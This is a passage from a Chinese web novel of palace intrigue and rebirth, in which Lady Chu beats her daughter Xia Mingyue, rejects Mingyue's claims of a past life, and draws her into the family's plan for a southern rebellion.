楚氏看着夏明月这副上不得台面的样子,只觉得十余年的心血付诸东流,气不打一处来,而夏明月在又一次的惊呆过后,痛哭出声。 平日里如何优雅的贵夫人瞬间成了悍妇,楚氏指着她,恶狠狠地道:“哭,哭,不是哭就是撒泼,你还会干什么?你但凡把你在府里时那股子撒娇做痴的劲儿用在世子身上,你们夫妻之间何至于此。” “身为贵女,即便是哭也要哭得有仪态,你看看你这嚎啕大哭的样子,世子看了会怎么想?” 要是夏明月单单只是什么都不愿意做或是不会做,再偶尔在小事上犯一下糊涂,她只要把之前在娘家时的那套用上,李玦最多对她失望,不会将府里的事交托给她,可也不会像现在这般相看两厌。 夏明月两边脸都被打肿了,声音变得更加含糊了:“他能怎么想,要不是他没本事,我何至于此?我也想每天什么都不想,日子过得舒舒服服的,可谁让我没那个命,嫁了这么一个男人!” 李玦上辈子怎么就那么风光了,这辈子怎么就变得这么窝囊了,她也想弄明白。 而且还有一点她想不明白,就算夏明嫣本事大,就算夏明嫣也重生了,她嫁给了华靖离之后就不帮着李玦了,还使了一些绊子,可是李玦也不至于变成这样吧? 只是少了个女人的帮助而已,哪有那么重要?再或许李玦本来就是一个无用之人,可他又是怎么当上端王还害死了华靖离的呢? “不,不,这里面有问题,重生,就是重活了一辈子,就像话本子里那样的‘黄粱一梦’。母亲,夏明嫣她一定是重生了,才会这么厉害,她上辈子不是这样的!” 楚氏被惊住了,定睛看了夏明月好几眼,认真地问道:“什么重活一世?你怎么知道她重活了一辈子?她上辈子是怎样的?” 夏明月以为楚氏终于肯听她说话了,楚氏不是一个观念封闭的人,相反的,其实楚氏很容易接受新事物,就像女师用在夏明嫣身上的手段,其实也来自一门诡谲的医术,楚氏一下子就接受了。 她抓着楚氏的胳膊,像是抓住了救命稻草,把这两辈子的事捡要紧的说了一下: “……就是这样,上辈子华靖离死得可惨了,到死,他遇刺的伤都没能痊愈。李玦他当了端王,还重建了李家军,是摄政王一样的人物。夏明嫣当上了端王妃,被我一条白绫勒死了。” “一定是因为换嫁,她改变了这一切,所以她治好了华靖离,还让华靖离跟李玦割袍断义,还把那把刀送给了我……都是她!” 楚氏又定睛看了看她,问出了一连串的问题:“换亲是你决定的,当时明嫣已经还家半月,难道是她跟你说了什么,你才换的。” “没有,这就是我的主意,嫁到端侯府将来是要做端王妃的,这么好的事儿她为什么要提醒我?我还怕被她抢了先了,她可就不会答应得那么痛快了。”夏明月迅速反应道。 楚氏继续问道:“世子在南疆下毒害死华侯的时候,你说明嫣也在,她当时会不会医术?” “会啊,当时李玦这个杀千刀的病了,需要人服侍才让她去的。她要是不会医术,让她去干吗?让军中的郎中给那个杀千刀的看诊不就行了。您看,她上辈子也骗了您。”夏明月毫不怀疑地道。 楚氏又问了一个问题:“她最后是被你亲手用白绫勒死的?没有人帮你?她身边也没有别人了?世子当时在朝中是什么情况,已经……行同摄政王了?” “那是自然,不然我也不会急着动手。她就是被我勒死的,她身边没有人,都被李玦给支开了。我那时候恨死她了,李玦他特意安排好了,让我动手,才好泄愤啊。” 楚氏看了看她,最后问道:“你觉得她是什么时候重生的?出嫁前还是之后?” “……应该是出嫁之后一段时间,毕竟……她不是一开始就给华靖离治伤的。” 夏明月握紧了拳,额角的青筋都跳了起来,她两只手紧紧地攥着帕子,好像那就是夏明嫣的脖子,恨不得立刻再掐死她一次。 她紧张地盯着楚氏的眼睛看,等待着楚氏接受她说的这些话,她跟夏明嫣都重生了,只是夏明嫣比她有心机,一直在背后破坏她的计划! 楚氏一定会相信她,她是那么的有理有据,只要楚氏相信了她,她们就可以再谋划出一个计策来,说夏明嫣是妖孽,让圣上把她赐死! 楚氏的目光落在夏明月身上,从初时的不可置信到后来的谨慎小心,再到最后变得异常凝重,然后就是那般毫无征兆的,她猛地把面前茶盏里的水迎面泼到了夏明月脸上,继而用了自己浑身的力气甩了夏明月一巴掌。 这一巴掌力度之大不亚于之前夏庸的那一巴掌,直接把夏明月从坐榻上掀了下去,她整个人摔跌在了地上,嘴角淌血,后边有一颗大牙都松了。 夏明月这回哭都哭不出来了,因为紧接着楚氏还重重地踹了她一脚,之后目光冷冽地瞪着她: “你说换亲的时候她没有重生,而你重生了,所以你这辈子不想嫁给华侯了,你想嫁给世子,好少吃点苦,能做世子的原配,将来直接做端王妃。” “你说她是成婚之后一段时间才重生的,乍听起来还说得通,可既然她也是从那个什么……上辈子回来的,她纵使对世子无情,她也一定清楚嫁给世子能做王妃,嫁给华侯最终不仅要做寡妇,还要举族获罪流放。” “她重活之后发现自己被换了亲,难道不会因为没能嫁给世子而恼怒?她可从来没有因为这个找过你和家里的麻烦,她的气性当真能这么好?只给你使那么点儿绊子就当作报复了?想得美!” 是啊,就那样挑唆几句、算计一下就算报复了吗?别说换成夏明月绝不会就这么算了,换成楚氏都不能这么轻易放过。 要说夏明嫣因为重活一世变得城府很深,回来时把上辈子的城府和阅历都带回来了,也说不通。 因为如果夏明嫣在上辈子的最后就这般厉害了,她还怎么会被夏明月这种货色简简单单地用白绫勒死呢? 夏明月白着脸,艰难地解释着:“她就是再忍啊,等着之后报复我,就像那把刀,那匣子彩宝……” 第473章一点也不迷信 夏明月没察觉出在她心里夏明嫣的形象已经变得高大了,她只想说,夏明嫣不屑于用那些简单、粗暴的手段,夏明嫣喜欢迂回,会害人于无形。 夏明嫣甚至可以只给一件事儿起个头,然后暗中引导着事情发展的方向,眼看着事情一步步地走向预想的结局。 现在回想起来,夏明月自己都不敢相信,夏明嫣怎么能把每一步都算得那么准:“我也说不清楚是怎么回事,就是,就是……她料定了我会把刀给卖了,才给我的,她……” “她把刀给你之后,她可曾说过什么,暗示你去这么做?”楚氏不耐地冷声问道。 夏明月想了又想,紧锁着眉头用力摇头:“没有,可是就算她什么都没说过,她就是料定了我会这么做啊。” “这么大一件事,仅仅靠着料定了你的性子会这样做,就想当然地什么都不管了?” 楚氏冷笑着,居高临下地看着夏明月,就像在看一个傻子,“这中间你但凡对我或是对世子透露过此事,后面的事就都不会发生了。” “她要是能算得那般精准,她精明得要成仙了……就算你们真有两世,听你说,你们两个一共也没有多久是在一块儿的,她怎么可能对你如此了解?我跟你父亲都不了解你,要是了解你,不管是世子还是华侯,都不会让你嫁。” “让你在嫁当一辈子老姑娘都抬举你了,就该把你送到寺院里清修一辈子。还说什么上辈子在华家家庙里待了十年,十年都没让你长点儿脑子啊,我们又怎么可能任由他们关你十年……你编话本子也编得像样一点啊。” 家庙十年,楚氏和她身边的人从来没有过这样的经验,元京里是有,可她也没有跟这样的人恳谈过,她不知道这样的会经历什么,出来的时候又究竟是什么样的。 在楚氏的认知里,那些从家庙或是寺院甚至是大牢里出来的,要么看透了名利,变得睿智而大度,要么在痛定思痛多年之后,变得手段了得,能够出奇制胜。 毕竟在那种地方那么多年,没有别的事儿做,就只能把前前后后的事儿翻过来调过去地想了又想,只要不是傻子,想不变得通透都不大可能。 夏明月这样的人,哪儿像在家庙里待了十年的?还重生,陆远山的女儿要是活了两辈子还这样,甚至这辈子还不如上辈子了,那才是白活了! 按理说,不管夏明月如何胡作非为,遇上在家庙软禁十年这种事儿,楚、夏两家都不可能坐视不理,可上辈子的确没人能把夏明月救出来。 这当中的原因,夏明月自然一清二楚,她之所以被送进家庙,是因为她跟孙允斌的私情被华家发现了,而那时孙允斌已经做了东宫的客卿,正是意气风发的时候,还正在跟乔大将军的女儿乔依心议亲。 如果把她放了出来,不仅华家没脸,楚、夏两家都交待不过去。万一她出去之后,又跟孙允斌混在一起了,闹个人尽皆知,乔家一定会闹到御前,之后谁都不会好看。 因为这件事,楚、夏两家差点儿就要跟她断亲了,只让华家保证让她在家庙里衣食无忧,再派了个下人每个月看她一回,就没管过她。 那时候她对两家都生了恨,直到她改嫁当上了端王妃,她都没有原谅他们,所以后来李玦得了势了,她也没有反过头去提携一下日渐衰败的楚、夏两家。 夏明月不方便解释这当中的原因,只能呜咽着道:“还不是他们害我,你们也不肯帮我,难道你们还要再舍弃我一次吗?” 要不是楚氏刚才打累了,这时候手都要抬不起来了,非得再给夏明月几巴掌,她怒气冲冲地问道: “你说她是成婚后重新活过来的,因为她并没有一开始就给华靖离治伤。可是在她进华家门儿之前,她并没有给华侯诊治过,那时候夏家没有任何知道华侯到底伤成什么样了,你这个所谓重生了的人,还在那儿一个劲儿地说华侯不死也得变得体弱多病,还很可能会没有子嗣。” “可她呢,当时大义凛然地表示即便守望门寡,她也要嫁过去……按照你说的,她那时候是没有重生的,我和你父亲也都看不出她知道你说的那些,也就是说她当时那么做多半是本能反应,最多就是她为了证明她对夏家有用,装作无怨无悔。” “天性也好,她想要有所作为也罢。你又说了她上一世就会医术,也就是说即便她没重生,她过门儿的时候也是懂医术的。华侯是她的夫君,是她一辈子的指望,她为何要拖了一段时日才去诊治?” 按照夏明月说的,即便夏明嫣没有重生,依照她的性子和医术,也该在进门之后就立刻给华靖离看诊。哪怕她治不好华靖离,也应该让自己心里有底才对,不会拖到到所谓的重生之后的时间点上才有所动作。 在楚氏看来,夏明月之所以说夏明嫣是在婚后一段时间重生的,就是因为那时华家封府闭门给华靖离治伤,但其实这个时间点应该就只是一个再正常不过日子。 要是没有夏明嫣,或者夏明嫣治不好华靖离,华家就不会为了争取最后的希望而请来名医、闭门谢客给华靖离治伤了吗? 夏明嫣即便一进门就给华靖离诊治了,因为伤情太过严重,在她用蛊医之术给他疗伤之前,总要做一些准备,这才成婚后隔了一段时间才诊治的真正原因……这关重生什么事? 夏明月急得跟什么似的:“那我怎么知道她为什么那个时候才给华靖离治伤,之前回夏家的时候,她也没说过啊。我解释不清楚,也不能说她就没有重生……” 楚氏一抬手,打断了她:“你说在那辈子里,世子把人都支了出去,你自己动手勒死了她?夏明月啊夏明月,我算是知道你怎么混成这样了。” “按你说的,夏明嫣先被贬妻为妾,再从一个妾室爬上端王妃的位子,还跟着世子同甘共苦,掌握了王府暗中的产业。她都爬到这么高的位子了,你勒死她的时候,她的心腹呢?她有这样的地位,她的心腹岂是世子能支得开的?” “就算当时把人都支开了,只剩下你了,之后这些人都去哪儿了?就算世子要灭他们的口,他们死之前,怎么没把你也勒死?” 第474章两个他都容不下 不管是内宅还是外面,是男子还是女子,想要成大事,都不可能单打独斗。 如果嫁进端侯府的是夏明嫣,楚、夏两家对她绝对跟对夏明月不一样,对夏明嫣定然利用多于扶植,一点点帮助和钱财都要她低声下气地恳求了才会有。 这种情况下,夏明嫣必然有她自己的人手,说是心腹和死士都不为过。尤其是现在的夏明嫣就招揽了邓澜、于杏儿和数量众多的退军家眷还有他们身前的军户子弟。 要是真按夏明月说的,在那个所谓的“上辈子”里,夏明嫣就是一个心机和手段极其了得的人,她的心腹怎么可能轻易就被一网打尽了? 而且夏明嫣是从贵妾爬上来的王妃,她后来定然清楚李玦跟夏明月之间已经旧情复燃了,即便她不知道他们有没有在一起,这么多年的夫妻,还有外面的那些传闻,她定然清楚李玦对夏明月的这种得不到才更加可贵的感情到底有多深重。 眼见着华靖离死在了南疆,夏明月彻底守了寡,夏明嫣会对他们两个一点戒心都没有?那样的话,她可就不是什么精明干练、手段了得的人了……这逻辑根本就不通! 楚氏痛心疾首地指着夏明月道:“不说从小多少师傅教着你、供着你,就说你平时耳濡目染的那些就够你学的了,没想到竟把你养成了一个愚不可及的蠢妇。” “即便真有那一天,你还在为世子支开众人让你一个人勒死夏明嫣而沾沾自喜?他若是真有心为你出气,他心里当真还有你,他怎肯让你手沾血污?还让你一个人动手,万一夏明嫣殊死一搏,他就不担心死的是你?” “他分明是封王拜相之后想要甩脱了夏明嫣,甚至想要摆脱楚、夏两家的钳制,才让你们互相残杀。夏明嫣杀了你,他会把害死华侯和你这个华侯夫人的罪名栽赃在夏明嫣身上,毕竟华侯死的时候,夏明嫣也在南疆,他就可以名正言顺地除掉夏明嫣和她背后的人。” “要是你杀了夏明嫣,即便他会娶你做端王妃,可你的把柄也握在了他手里。等到哪一天,他彻底不需要你和我们了,他还能容得你活着?还以为自己是什么呢,白白做了别人手里的刀……” 夏明月听得愣住了,被打得嗡嗡作响的脑袋也开始恢复清醒,她之前怎么没想到这一点?她上辈子…… 是啊,上辈子她在当上端王妃一个月之后就死了,死得莫名其妙,宫里的御医说她是油尽灯枯而亡的,她还以为是自己在家庙里熬坏了身子呢,难道也是遭了什么算计? 而也是在那个月,楚霆孝重病,她的弟弟夏登云被发配去了西疆,听说在路上遭遇了沙暴,生死不明…… 楚氏在说出这番话之后也愣住了,她不相信什么重生,可她最后说的这番话里的道理,没有重生也是成立的。 要是李玦没瘫,等他登上高位,就凭他那极其看重颜面这一点,他真愿意让天下人议论他是靠着妻族上位的? 尤其是,若是成了事,这中间的过程对于李玦来说可能不会那么愉快。 夏家还好,本来就是这个联盟里的附庸。可是楚家,才是这个联盟中的主导,在整个过程里,楚家用着端侯府的财富,而李玦重建了李家军,楚家还要压制他用以保住自家的主导地位。 李玦的锋芒被压制,而最终楚家也一定想要分到这当中最大的利益,李玦能高兴了?无论是夏明嫣还是夏明月,她们都是夏家的女儿,李玦真能对夏明月始终如一? 不往远了说,就说现在,李玦对夏明月的感情就已经消耗殆尽,等到他日,除非她的兄长和她的几个侄儿当中有极其得用的,才能压得住李玦,否则夏明月也好,楚、夏两家也好,都会被他甩开…… 楚氏愣神的时候,坐在地上的夏明月忽然嚎啕大哭了起来,嘴里不停地嚷嚷着什么错付了,天杀的李玦,怎么会这样…… 楚氏扶着墙一连缓了好几口气,终究还是把夏明月扶了起来,木已成舟,毕竟母女一场,况且眼下的情形,已经不能凭她的一己喜好来定夺了。 夏明月是陆远山的女儿,是她年少时念想的寄托,就算将来能够认回于杏儿,也不能取代夏明月在她心里的地位。 按理说,事情到了这一步,夏明月显然无法胜任端侯世子夫人的位子,更是无法完成楚、夏两家将要交给她的任务。就该按夏庸说的那样,让夏明月和夏家全身而退,这才是对夏明月最好的安排。 可是现在,不为了夏家,也得为了楚家,占住李玦身边的这个位置,而且也许是老天爷的安排吧,现在李玦成了这副样子,正需要一个人替他出面,替他走在人前。 而这个人,只要谋划得当,是有机会掌握端侯府真正的根基的,将来也最有可能取代李玦。这个人只能是夏明月,夏明月也是离这个位置最近、最名正言顺的人。 楚氏调整了思绪,声音低柔而镇定地对夏明月道:“月儿,你父亲想就此下船,是他想简单了。即便他立刻与我和离,他与楚家翁婿一场,与我夫妻十余载,生下了一双儿女,他的仕途也因为楚家而起,他早就走不脱了。” “事到如今,你也不是从前无忧无虑的夏家千金、高门贵女了,你该明白楚家、端侯府、夏家还有……陆家一直以来都在谋划一件怎样的大事吧?” 夏明月哭得上气不接下气的,但还是点了点头:“……这样的大事很危险,就像父亲说的,不容易成。我们可不可以……” 要是以前,夏明月不会打退堂鼓,可是现在,夏明月想到了刚才楚氏说的那种可能,她开始怕了。 重生之后,她想的是她能有如此机缘,定是老天爷要让她弥补她没有一直跟李玦厮守在一起而成为完美的端王妃的遗憾的,现在看来倒像是为了给她逃脱死局机会的。 前者若是成了,她会是金尊玉贵的端王妃,她甚至想过这一世占据着重生的优势,她甚至能够成为端朝皇后。 若只是后者,就算成功了,她也只是保住性命,最多就是晚年衣食无忧、有一口富贵饭吃而已……这还有什么盼头。 她不觉得目标低了之后,行事也变得简单了,其实更适合她。她只觉得没了那光明而远大的前景,让她瞬间感到意兴阑珊。 第475章什么重生?是你疯了 楚氏一看夏明月的表情,就明白她在想什么了,要不是刚才打累了,真想再给她几巴掌。 夏明月倒是想像她说的那些梦话那样当端王妃呢,她也不看看自己有没有那么大的本事,就算真有那一天,她也是被楚、陆、夏三家扶起来的。 这几天发生了太多事,要是现在像夏明月透露她跟陆家的真正关系、点破她的身世,一时间恐怕她会接受不了。 楚氏便没提及陆家,还是从她坚持的“重生”开始:“自古富贵险中求,你想要平平安安的,想要现在退出不干了,那你就得与世子和离。你的名声已经容不得你再改建什么高门人家了,以后就是想找一家好些的寺院清修,恐怕都没人愿意收下你。” “别指望我和你外祖父用楚家的颜面和钱财养着你,你外祖父不可能跟端侯府撕破脸,他心里再不愿意,也只能对你这个端侯府的弃妇不闻不问,你可愿意过那样的日子?” 高门贵女、侯门贵妇甚至宫里的妃子娘娘,不管是混不好的还是没用、没有利用价值的,未必有民间百姓和商贾家的女儿过得好。 夏明月是进过家庙的人,当然能想到这些,而且当年好歹还有楚、夏两家暗中关心着她,隔三差五地偷着送些衣食和消息进去。 要是她现在跟李玦和离了,楚家还要用端侯府藏起来的那些宝藏、钱财,李玦这病还要怪到她头上,楚家定然是要摆出姿态来,不能再对她好的。 夏庸这人,她冷静下来也还是了解的,他这个人非常的唯利是图,一开始可能会因为她站在他这一边而善待她,可时间长了,她就得变成吃闲饭的没用的废物,他才懒得再看她一眼呢。 而且夏庸即便退出了兵部,他也不会甘于做一个普通的富家瓮,还是要有些官职然后做一个体面的书香人家的,因为他并不会因此放弃振兴夏氏一族,他还要指望夏登云将来登科入仕呢。 她可是夏登云的同胞姐姐,留这样一个名声坏了的女儿在府里,一定会影响到夏登云的名声和婚事,到时候她恐怕真的会被送进寺院里了此残生。 上辈子她在华家家庙里过了十年,这辈子绝不能在哪个寺院里过上十年、二十年甚至更多年…… 夏明月打着冷颤用力摇头:“不,我不想,可是现在李玦……不,我夫君他都那样了,除非你们派个人来彻底替了他,再帮着我,不然我也没法子。” “还有那个夏明嫣,她也重生了,她一定会想方设法地破坏这一切,必须也把她料理了……” 想到夏明嫣很可能也重生了,夏明月就如鲠在喉,这种秘密和利器同时被别人掌握的感觉着实不好,她一定要先除掉夏明嫣。 楚氏本来让夏明月靠在她怀里好做安抚,听了这些话之后将她一把推开,目光带着审视地道: “你疯够了没有?重生,什么重生?我不是一个不开明的人,也曾经听说过一些再世为人的奇人异事,有些个事儿我也是相信的,可你说的这些我一句都不信。” “母亲,我说的都是真的,我发誓……”夏明月焦急地想要证明自己。 楚氏抬手捂住了她的嘴:“快闭嘴吧,这些怪力乱神的话以后不许再说!你说的那些事没有一件在道理上是说得通的。你若不信,我就再问你一个问题。” “提出换亲的是你,你说她出嫁后也重生了,她就没有怀疑过你也重生了吗?以你的性子,你即便不知道她重生了,你也会到她面前去炫耀你重活了一世,她可有什么反应?你所谓的她重生之后,可有来试探过你?哪怕一次都好。” 夏明月眼中露出了茫然,在楚氏的逼视下,她没办法撒谎:“没有……可是她可以是装的。” “你会怀疑是好事,可不能无端地怀疑。她连这种事都能装得下去,在你所谓的上辈子,她还能着了你和世子的道儿?” 楚氏冷笑一声,不觉眼神中带出了几分不屑,“就你这样的,还有世子这生气都能中毒的气量,都说本性难移,在你所谓的上辈子,你们两个要是这样,哪个都不是她夏明嫣的对手,你口中的这个‘话本子’,根本就是狗屁不通。” “月儿,你要是实在想不通,你觉得是去看看能治心病的郎中好,还是请位禅师过来讲经好?我都帮你去请,你这就是日思夜想地想出心病来了,才做了这样的梦,发了臆想。这种梦做得多了,你就信以为真了!” 夏明月大惊,激动地站起来辩解:“那不是梦,我没有发癔症,母亲,您怎么就不相信我……” 楚氏抓起桌上的茶盏用力摔碎在地上:“夏明月,不要再闹了,你让我怎么相信你?明嫣的确心机深沉,从前我们都被她骗了,可她做的那些事,都是依从事理、性子使然,跟你说的什么重生没有关系。” “我知道你从小就忌惮她,你祖母喜欢她,你担心这个先夫人所出的嫡长姐回来之后,你就失宠了。后来她回来了,这一嫁人,她又每一步都比你走得好,每一步都出乎咱们的预料,你心里就越来越不好受了。” “后来世子又跟你有了隔阂,他还病成这样,你的心病就越来越重了。你就是想得太多了,才会把这些臆想当作什么上辈子。月儿,你这样下去,可就要疯了了,你总不会想被关进疯人谷吧?” “母亲,您要把我关进疯人谷,您怎么能这样?我……我是您的女儿啊。” 夏明月被吓住了,她怎么也没想到楚氏会在她面前提起“疯人谷”这三个字,上辈子她趁着孙允斌在南疆遇险的机会,把孙允斌的妻子乔依心送进了疯人谷。 那时候孙允斌已经是谢维的门客了,要跟她断了关系,她哪里能让孙允斌把她抛诸脑后,她只能先排挤掉他身边其他的女人。 乔依心刚好是夏明嫣在元京鲜少的几个闺中友人之一,夏明嫣那时候正在南疆照顾生病的李玦,等她回来时,乔依心已经真的被折磨疯了。回想起夏明嫣知道这件事时的反应,时至今日,她都记得当时的那种畅快感受。 楚氏留意到夏明月眼中闪过一抹诡异的兴奋之意,她整个人都警惕起来: “你刚刚又在想什么?你不会真的疯了吧?” 第476章小心把你关进疯人谷 楚氏的母亲就是心病走的,许是因为楚家有太多的事不能为外人道也,她母亲就憋出了病了,到了最后便有些神志不清,不大清醒的时候就会呈疯癫之状。 楚老夫人的疯癫不是那种胡乱打人、摔东西还把自己弄得乱七八糟的疯癫,她是那种文疯子,经常煞有介事地说一些有的没的的事儿,在已经发生过的事情里加入一些根本跟这件事无关的人甚至是已经死了或是压根没存在过的人,把那故事编得再真实不过了。 可是一经考校,就会发现这些东西都是瞎编出来的,只不过编得太过真实,就连那些事儿的时机参与者听了之后都会忍不住问自己一句,是不是自己的记忆出了问题。 因为担心楚老夫人对着前去探病的人乱说话,楚霆孝就把她移到了城外的别院里,楚氏那时候过去侍奉过几个月,对当中情况再了解不过了。 楚氏现在就在怀疑,大概夏明月也是这种情况,这就是疯癫的前兆,她不无体贴地道: “月儿,我知道你出嫁之后就事事不顺,尤其是她不仅事事顺遂,跟华侯还夫唱妇随,你被她比下去了,心里不平,你才想出了这些事儿,还想着是什么上辈子。” “我是你的母亲,养你一场,我听了这些,心里疼啊,可你得想想,你说的这些传到别人耳朵里,你成什么了?别人跟我一样,不会信你,还会说你是……” “妖孽?”夏明月下意识地答道。 楚氏皱着眉打断道:“就凭你,还妖孽?你可没有妖孽的作为,也闹不出那么大的动静。像你这样的,就算你有意效仿那妲己之流,进了宫门,到不了御前,就得把打出来。” 妖孽,那得是能办大事的,人家妖孽也作,可作得恰到好处,作完之后能得到自己的目的。夏明月呢,作完之后只会坏事,让人觉得她面目可憎。 夏明月心里那个气,她怎么连妖孽都不配当了:“母亲,您信我好不好。就算那是梦,是臆想,梦里的很多事都验证过了,都是会真正发生的啊。” 楚氏冷笑道:“日有所思夜有所梦,梦里的很多事儿都是白日里未净之事的延续,你白日里想不明白接下来该怎么做,就会在梦里不断地推演。” “之后你在梦里想开了,知道这事儿怎么回事儿了,也就自然晓得事情会怎样发展下去了,这不就就变成了知道将来要发生的事了?这有什么好奇怪的?” “不是这样的,我真的能看到未来……”夏明月怕急了。 她一开始觉得楚氏是为了维护自己作为母亲的权威才不信她的,她现在却开始完全相思,楚氏是真的一点都不相信她。 而且楚氏自有一套不相信她的道理,这些道理从逻辑、事理的角度全都说得通。要是换一个人在这儿评理,大概也会站在楚氏这一边。 楚氏以为她听进去了,赶忙继续道:“你就是太恨她夏明嫣了,你才会在这种想像里一条白绫把她给勒死了。可你再仔细想想,这可能么?你要是有本事勒死她,她都不知道掐死你多少回了。” “你得静静心,不行的话,让给世子看诊的那些郎中也给你瞧瞧。你们两个不是一家人,不进一家门,你们两个的心病都重,正好一起治一治。” “不过,你得答应我,以后这种疯癫、狂悖之言就不要说了,尤其是你可千万别在世子面前说啊。你跟他之间已然有嫌隙,我看他的样子,刚刚听到‘和离’都没什么反应,说不好他还想休了你呢。” “我可不是吓你,要是让他以为你疯了,就算看在楚、夏两家的面子上不把你送到疯人谷去,也得把你送到家庙里去……就像你在梦里看到的那样。” 楚氏加重了语气,在她看来,夏明月在所谓的上辈子里被关进了华家家庙,就是因为她现在混得太差了,她一直在担心被李玦关进家庙里,可她心里又还对李玦有情,不愿意接受这样的事实,才会去想她假如没有换亲,而是嫁给了华靖离会怎样。 只是夏明月在这个梦里发现她即便嫁给了华靖离也过不好,才会又想像出她被关进了华家家庙,事实上她是担心会被李玦关进家庙。 说起家庙,楚氏更加确信了这一点,这端侯府在元京城外一直供着一处家庙,里面的人都是从李玦的太爷爷那辈儿就养下来的,近些年虽然有些破败了,倒也没有断了供给。 反倒是华家,因为整个华家在元京都是外来户,华叶峰更是因为前头的兄长都战死了,才袭的爵,因此他们家在元京根本就没有家庙,只不过是在寺院里供了个院子放族人的长生牌位。 那地方楚氏去进香的时候路过过,根本就关不了人……这让她更加确信了夏明月说了假话。 夏明月还没疯到那种地步,她定然分得清臆想和现实,只不过为了赢得关注,才会故意说是什么重生、再世为人…… 楚氏看向夏明月的眼神充满了警告,看得夏明月一阵阵地胆寒,她能感觉到要是她再敢提重生的事,别说李玦了,就是楚氏和夏庸都能把她送到疯人谷去。 难道这就是报应么?上辈子她算计了乔依心,这辈子就有人要把她送进疯人谷么? 不行,她不能沦落到那般田地,不然她可就真的白重生了,尤其是有件事楚氏兴许真说对了。 她还是了解李玦的,李玦这个人爱她的时候可以死去活来、痴迷无度,可要是恨起来,绝对不会想跟她好聚好散,定然是要把她打入谷底的。 在这一点上,李玦跟夏庸是截然相反的两种人,夏庸能跟楚氏心平气和地和离或是分隔两地,可李玦呢,他要像世上证明错不在他,定然不会轻易放过她。 还好她没有把重生的事告诉他,要是说了,即便他信了,等到他们闹翻了,他也会把这件事当作把柄的。 夏明月正出神,就被楚氏的一句话唤回了神思:“枝头的果子落了地,就再不能回到枝头生长了。你们已经闹成这样了,既然回不去了,就该想想以后怎么做。” “即便你和离了,又能如何?楚家只是你的外祖父家,夏家将来还有你阿弟。登云倒不是个容不下人的,可他将来的妻妾儿女可就不一定了。” 第477章自寻出路 楚氏的目光在这一瞬间变得飘忽不定,仿佛回到了很久以前: “你也大了,有些事儿也不必瞒着你了。我跟你父亲从来都只是父母之命,媒妁之言,在嫁给你父亲之前,我跟你……陆叔父有过婚约,陆家后来败了,我们的婚约便没了,那时候我也可以选择留在楚家做个老姑娘。” “可我没有那般选择,我是我父亲唯一的女儿,自问从小到大未做出过任何有伤楚家颜面之事,父母对我颇为疼爱,两位兄长也都是一母同胞的,自小关系甚好。” “只是那又如何?一旦他们成了家,他们之间谁做得了那个家的主尚且要争上一争,更何况我这个女儿家。我也想有自己的家,想要当家做主,那便只能出嫁。” 她话锋一转,“你与登云的关系,可比不上我与你的两位舅父,他又是那般眼睛里容不得一颗沙子的性子,将来他的妻室也定然要过你父亲和祖母那关,你觉得你能过上什么样的日子?” 夏登云倒是没嫉妒过夏明月自小几乎独得了父母的宠爱,因为他自来都认为男子和女子是不一样的,男子从小就该勤于学业,长大了便该专心于功业,不能耽于父母的宠爱。 可正因为他这清冷的性子,他对夏明月并没有如何深厚的姐弟之情,反倒是对没见过几面的夏明嫣颇为认同。 夏庸现在受了教训,将来在给夏登云选定新妇人选上,定然要选一个贤良淑德、恭敬谨慎的,朱老太太只怕也是一样的看法,将来的夏家夫人只怕在性子上就已经跟夏明月不和了,哪里还能容得下她。 夏明月要是和离归家,除非她能老老实实地过日子,只怕在家里连舒坦日子都过不了,还得被当做这个家里教养失败的例子警示后人。 要是别人倒也罢了,夏明月绝对受不了这样的日子:“……那我要怎么办?父亲和他都厌弃我了,这端侯府我也快待不下去了……他要是没有变成这样,我还能挽回。” 要是李玦不是病得这般重了,夫妻之间,床头吵架床尾和,他们之间还有着青梅竹马的情意,她用些女子的手段,还有挽回的机会。 如今李玦这样了,在她面前毫无尊严,甚至走到这般田地,至少有一半是因为她,这是无论如何都没法子挽回的了。 夏明月这时候忽然想明白了一个道理,那就是远香近臭。 如果上一世她跟李玦也是一开始就成婚了,只怕结局也跟现在差不多,正是因为他们分开了十几年,才有了后来那段短暂的甜蜜。 但是后来,就像楚氏说的,如果李玦放任她勒死夏明嫣真是算计好了的,她一样没有善终……她是该想想今后的路要怎么走了。 只是她还是不甘心,她无论如何都不愿意比夏明嫣过得差,就算她和离了,她也要比夏明嫣过得好。 夏明月满怀怨愤地道,“不过,母亲,我想过得好,尤其不能被她夏明嫣给比下去了,为了这件事,我就愿意听您和外祖父的话。我知道,那条路凶险,可我不像父亲那样懦弱。” “我愿意跟着母亲和楚家一同走下去,与大家一起共进退。因为现在只有走这条路,我才有翻盘的机会。” 楚氏见她振作起来,微微点头:“成则一步登天,败则粉身碎骨。若是后者,许多人都不会愿意。可你我母女一场,自是性情相投的,别人是好死不如赖活着,你我却都是赖活着不如好死的性子。” “与其被人压一头,不如放手一搏。成了,不光是夏明嫣,还有华靖离,他们都可以由你处置。败了,总比你困死在寺院里要好。” “如今我们这三家的确处于弱势,可是南疆原本就要乱了,现在朝廷安排华家南迁,无疑侵占了他们原本的利益,南疆只会乱得更早、更严重。我们趁乱而起,端侯府的旧部又全都隐藏在南疆,加上你陆叔父的人马也会南下,将来据南而守,想来是有机会的。” 听了这样美好的前景,夏明月刚刚还萎靡的精神一下子就恢复了些,她一双眼睛亮晶晶地道: “这样已经很好了,这世上没什么大事是没有风险的。那么,如果事情成了,我是不是就能做南疆的郡主了?” 这三家里,以楚家为尊,事成之后,楚霆孝或是她的舅父至少就会成为南疆王,她当个郡主总不为过吧。 到时候她可以想法子把华靖离和夏明嫣骗到南疆来,只要一举擒获,以后他们两个还不都得任她摆布? 如今的圣上年纪老迈,按照前世的记忆,也就是大概四年多之后的事儿,谢维是块儿扶不上墙头的烂泥,说不定楚家舅父将来还能荣登大宝呢,那她也许就是公主了。 等到那时不仅是夏明嫣和华靖离,还有她这个看走了眼的夫君,也都能被她抛开。 楚氏心里当然想再把夏明月训一顿了,这件事哪有她想像得那么简单,可是现在正需要她这股劲头,给她泼凉水总不大好。 她笑了一下,诱哄着夏明月道:“自然可以,不过想要高位,也得要用功劳来换。你现在也知道了,无论是你还是明嫣嫁过来,都是要看着端侯府暗中的那笔财富的。” “那是一笔你难以想象的钱财,只是如今还随着当年的沉船沉在南疆海底。这笔钱财不仅是咱们三家起势的家底,也是将来重建南疆的基石。” “只是这件事原本是要楚家和端侯府商量着来了,现如今还是由楚家掌握着比较好,毕竟世子他已经成了这副模样了。不是我们贪图他端侯府的东西,只是他如今受不得半点气,也管不了这些事儿不是?” 